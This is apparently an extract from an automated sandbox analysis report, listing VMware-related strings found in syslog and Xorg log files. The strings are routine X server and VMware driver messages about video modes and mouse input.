Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "960x540"x59.6 40.75 960 992 1088 1216 540 543 548 562 -hsync +vsync (33.5 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.812] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.728] (II) event3 - VirtualPS/2 VMware VMMouse: device removed
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.408] (==) vmware(0): DPI set to (96, 96)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.830] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "700x450" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:17 galassia /usr/lib/gdm3/gdm-x-session[5787]: (==) vmware(0): Silken mouse enabled
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "800x512" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "640x360" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "480x270" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.202] (--) vmware(0): pbase: 0xe8000000
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.378] (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.484] (II) vmware(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.212] (II) vmware(0): Modeline "1024x768"x60.0 65.00 1024 1048 1184 1344 768 771 777 806 -hsync -vsync (48.4 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "800x600": 56.3 MHz, 53.7 kHz, 85.1 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "640x360": 17.8 MHz, 22.2 kHz, 59.3 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.462] (II) vmware(0): Not using default mode "1280x960" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 180.233] (--) vmware(0): VMware SVGA regs at (0x1070, 0x1071)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "320x175" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) Using input driver 'libinput' for 'VirtualPS/2 VMware VMMouse'
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "3840x2160" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.214] (--) vmware(0): mheig: 885
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.808] (II) vmware(0): Not using default mode "700x450" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.293] (--) vmware(0): vis: 4
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.536] (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "640x360": 18.0 MHz, 22.5 kHz, 59.8 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "640x480"x59.9 25.18 640 656 752 800 480 490 492 525 -hsync -vsync (31.5 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.242] (II) vmware(0): Modeline "960x540"x59.6 40.75 960 992 1088 1216 540 543 548 562 -hsync +vsync (33.5 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): w.grn: 8
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.603] (II) vmware(0): Not using default mode "928x696" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.948] (II) vmware(0): Not using default mode "360x202" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:13 galassia /usr/lib/gdm3/gdm-x-session[5787]: (WW) vmware(0): Disabling 3D support.
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.202] (II) vmware(0): Modeline "1024x768"x70.1 75.00 1024 1048 1184 1328 768 771 777 806 -hsync -vsync (56.5 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "320x200" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.512] (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.644] (II) vmware(0): Not using default mode "416x312" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.411] (II) vmware(0): Not using default mode "1024x768i" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.859] (II) vmware(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.435] (II) vmware(0): Not using default mode "3200x1800" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "2048x1536" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1360x768" (width requires unsupported line pitch)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.094] (*) vmware(0): Driver mode "vmwlegacy-default-800x600": 36.3 MHz, 36.2 kHz, 60.0 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1400x900" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.475] (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.938] (II) vmware(0): Not using default mode "720x405" (monitor doesn't support reduced blanking)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.999] (II) vmware(0): Not using default mode "480x270" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 180.061] (EE) vmware(0): Failed to open drm.
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.302] (==) vmware(0): Depth 24, (==) framebuffer bpp 32
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.351] (II) vmware(0): Not using default mode "320x200" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.099] (II) vmware(0): Modeline "vmwlegacy-default-800x600"x60.0 36.25 800 801 802 1002 600 601 602 603 (36.2 kHz ez)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "2560x1600" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.639] (II) vmware(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.217] (**) vmware(0): Default mode "1024x576": 46.5 MHz, 35.9 kHz, 59.9 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.147] (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "640x480"x72.8 31.50 640 664 704 832 480 489 492 520 -hsync -vsync (37.9 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) XINPUT: Adding extended input device "VirtualPS/2 VMware VMMouse" (type: MOUSE, id 8)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.219] (--) vmware(0): depth: 24
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.912] (II) vmware(0): Not using default mode "2048x1536" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.628] (II) vmware(0): Not using default mode "7680x4320" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.363] (II) vmware(0): Modeline "720x400"x85.0 35.50 720 756 828 936 400 401 404 446 -hsync +vsync (37.9 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.289] (**) vmware(0): Default mode "800x600": 36.0 MHz, 35.2 kHz, 56.2 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.400] (II) vmware(0): Not using default mode "1440x810" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "800x600": 36.0 MHz, 35.2 kHz, 56.2 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.309] (II) vmware(0): Modeline "864x486"x59.9 32.50 864 888 968 1072 486 489 494 506 -hsync +vsync (30.3 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1856x1392" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "5120x2880" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.003] (II) vmware(0): Not using default mode "480x270" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) event3 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "800x600": 40.0 MHz, 37.9 kHz, 60.3 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.151] (**) vmware(0): Default mode "1152x864": 96.8 MHz, 63.0 kHz, 70.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.611] (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/event3)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (==) vmware(0): Depth 24, (==) framebuffer bpp 32
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) XINPUT: Adding extended input device "VirtualPS/2 VMware VMMouse" (type: MOUSE, id 9)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.620] (II) vmware(0): Not using default mode "3840x2160" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.261] (II) vmware(0): Modeline "800x600"x75.0 49.50 800 816 896 1056 600 601 604 625 +hsync +vsync (46.9 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.789] (II) vmware(0): Not using default mode "1400x900" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.896] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "432x243" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) VirtualPS/2 VMware VMMouse: Applying InputClass "libinput pointer catchall"
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.664] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "3200x1800" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.444] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.835] (II) Using input driver 'libinput' for 'VirtualPS/2 VMware VMMouse'
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.468] (II) vmware(0): Not using default mode "640x480" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.068] (II) vmware(0): Not using default mode "684x384" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.390] (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.801] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.237] (**) vmware(0): Default mode "960x540": 40.8 MHz, 33.5 kHz, 59.6 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1920x1440" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.727] (II) vmware(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.326] (==) vmware(0): Using HW cursor
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:17 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): vgaHWGetIOBase: hwp->IOBase is 0x03d0
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.396] (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.280] (II) vmware(0): Modeline "800x600"x60.3 40.00 800 840 968 1056 600 601 605 628 +hsync +vsync (37.9 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "4096x2304" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.572] (II) vmware(0): Not using default mode "1792x1344" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.784] (II) event3 - VirtualPS/2 VMware VMMouse: is tagged by udev as: Mouse
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.668] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1280x1024" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.789] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.899] (II) vmware(0): Not using default mode "2048x1536" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.987] (**) VirtualPS/2 VMware VMMouse: (accel) acceleration threshold: 4
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.320] (II) vmware(0): Not using default mode "1280x720" (width requires unsupported line pitch)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 177.322] (==) Matched vmware as autoconfigured driver 0
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "720x450" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.854] (II) vmware(0): Not using default mode "1920x1200" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:10 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) Module vmware: vendor="X.Org Foundation"
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.581] (II) vmware(0): Not using default mode "896x672" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "640x400" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.184] (--) vmware(0): bpp: 32
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "680x384" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.108] (II) vmware(0): Modeline "1152x864"x100.0 143.47 1152 1232 1360 1568 864 865 868 915 -hsync +vsync (91.5 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1024x768"x75.0 78.75 1024 1040 1136 1312 768 769 772 800 +hsync +vsync (60.0 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "360x200" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "928x696" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) VirtualPS/2 VMware VMMouse: (accel) acceleration threshold: 4
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.365] (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) event2 - VirtualPS/2 VMware VMMouse: is tagged by udev as: Mouse
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "640x350": 31.5 MHz, 37.9 kHz, 85.1 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.824] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.266] (**) vmware(0): Default mode "800x600": 50.0 MHz, 48.1 kHz, 72.2 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.987] (II) vmware(0): Not using default mode "432x243" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "720x400": 35.5 MHz, 37.9 kHz, 85.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.127] (II) vmware(0): Modeline "1152x864"x85.0 119.65 1152 1224 1352 1552 864 865 868 907 -hsync +vsync (77.1 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.314] (**) vmware(0): Default mode "640x480": 36.0 MHz, 43.3 kHz, 85.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.341] (**) vmware(0): Default mode "640x480": 25.2 MHz, 31.5 kHz, 59.9 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.620] (**) VirtualPS/2 VMware VMMouse: Applying InputClass "libinput pointer catchall"
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.371] (II) vmware(0): Modeline "640x400"x85.1 31.50 640 672 736 832 400 401 404 445 -hsync +vsync (37.9 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.723] (II) event3 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.601] (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.199] (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "960x540" (monitor doesn't support reduced blanking)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.598] (II) vmware(0): Not using default mode "1856x1392" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.014] (II) vmware(0): Not using default mode "512x288" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.132] (**) vmware(0): Default mode "1152x864": 108.0 MHz, 67.5 kHz, 75.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.425] (II) vmware(0): Not using default mode "1600x900" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (==) vmware(0): RGB weight 888
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.932] (II) vmware(0): Not using default mode "320x180" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "640x360"x59.3 17.75 640 688 720 800 360 363 368 374 +hsync -vsync (22.2 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.927] (II) vmware(0): Not using default mode "1920x1200" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): caps: 0xFDFF83E2
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): mheig: 885
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.028] (II) vmware(0): Not using default mode "2560x1600" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "832x624": 57.3 MHz, 49.7 kHz, 74.6 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1024x576" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.905] (II) vmware(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.359] (**) vmware(0): Default mode "720x400": 35.5 MHz, 37.9 kHz, 85.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.841] (II) vmware(0): Not using default mode "700x450" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 180.162] (WW) vmware(0): Disabling RandR12+ support.
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "640x400"x85.1 31.50 640 672 736 832 400 401 404 445 -hsync +vsync (37.9 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.103] (**) vmware(0): Default mode "1152x864": 143.5 MHz, 91.5 kHz, 100.0 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "15360x8640" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.177] (II) vmware(0): Modeline "1024x768"x85.0 94.50 1024 1072 1168 1376 768 769 772 808 +hsync +vsync (68.7 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.947] (II) vmware(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (==) vmware(0): DPI set to (96, 96)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 177.352] (II) LoadModule: "vmware"
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): depth: 24
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.156] (II) vmware(0): Modeline "1152x864"x70.0 96.77 1152 1224 1344 1536 864 865 868 900 -hsync +vsync (63.0 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1152x864": 105.0 MHz, 67.6 kHz, 75.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.969] (II) vmware(0): Not using default mode "864x486" (monitor doesn't support reduced blanking)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.225] (--) vmware(0): bpp: 32
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.957] (II) vmware(0): Not using default mode "360x202" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1152x864": 96.8 MHz, 63.0 kHz, 70.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.030] (II) vmware(0): Not using default mode "640x360" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.275] (**) vmware(0): Default mode "800x600": 40.0 MHz, 37.9 kHz, 60.3 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.331] (==) vmware(0): Will set up a driver mode with dimensions 800x600.
Source: Xorg.0.log.159.dr	Binary or memory string: [ 177.568] (II) vmware: driver for VMware SVGA: vmware0405, vmware0710
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.406] (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.774] (II) vmware(0): Not using default mode "800x512" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): bpp: 32
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.982] (**) VirtualPS/2 VMware VMMouse: (accel) acceleration factor: 2.000
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.450] (II) vmware(0): Not using default mode "1280x960" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.518] (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.398] (**) vmware(0): Default mode "640x350": 31.5 MHz, 37.9 kHz, 85.1 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "720x405" (monitor doesn't support reduced blanking)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.184] (**) vmware(0): Default mode "1024x768": 78.8 MHz, 60.0 kHz, 75.0 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: message repeated 3 times: [ (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)]
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:10 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) Loading /usr/lib/xorg/modules/drivers/vmware_drv.so
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/event2)
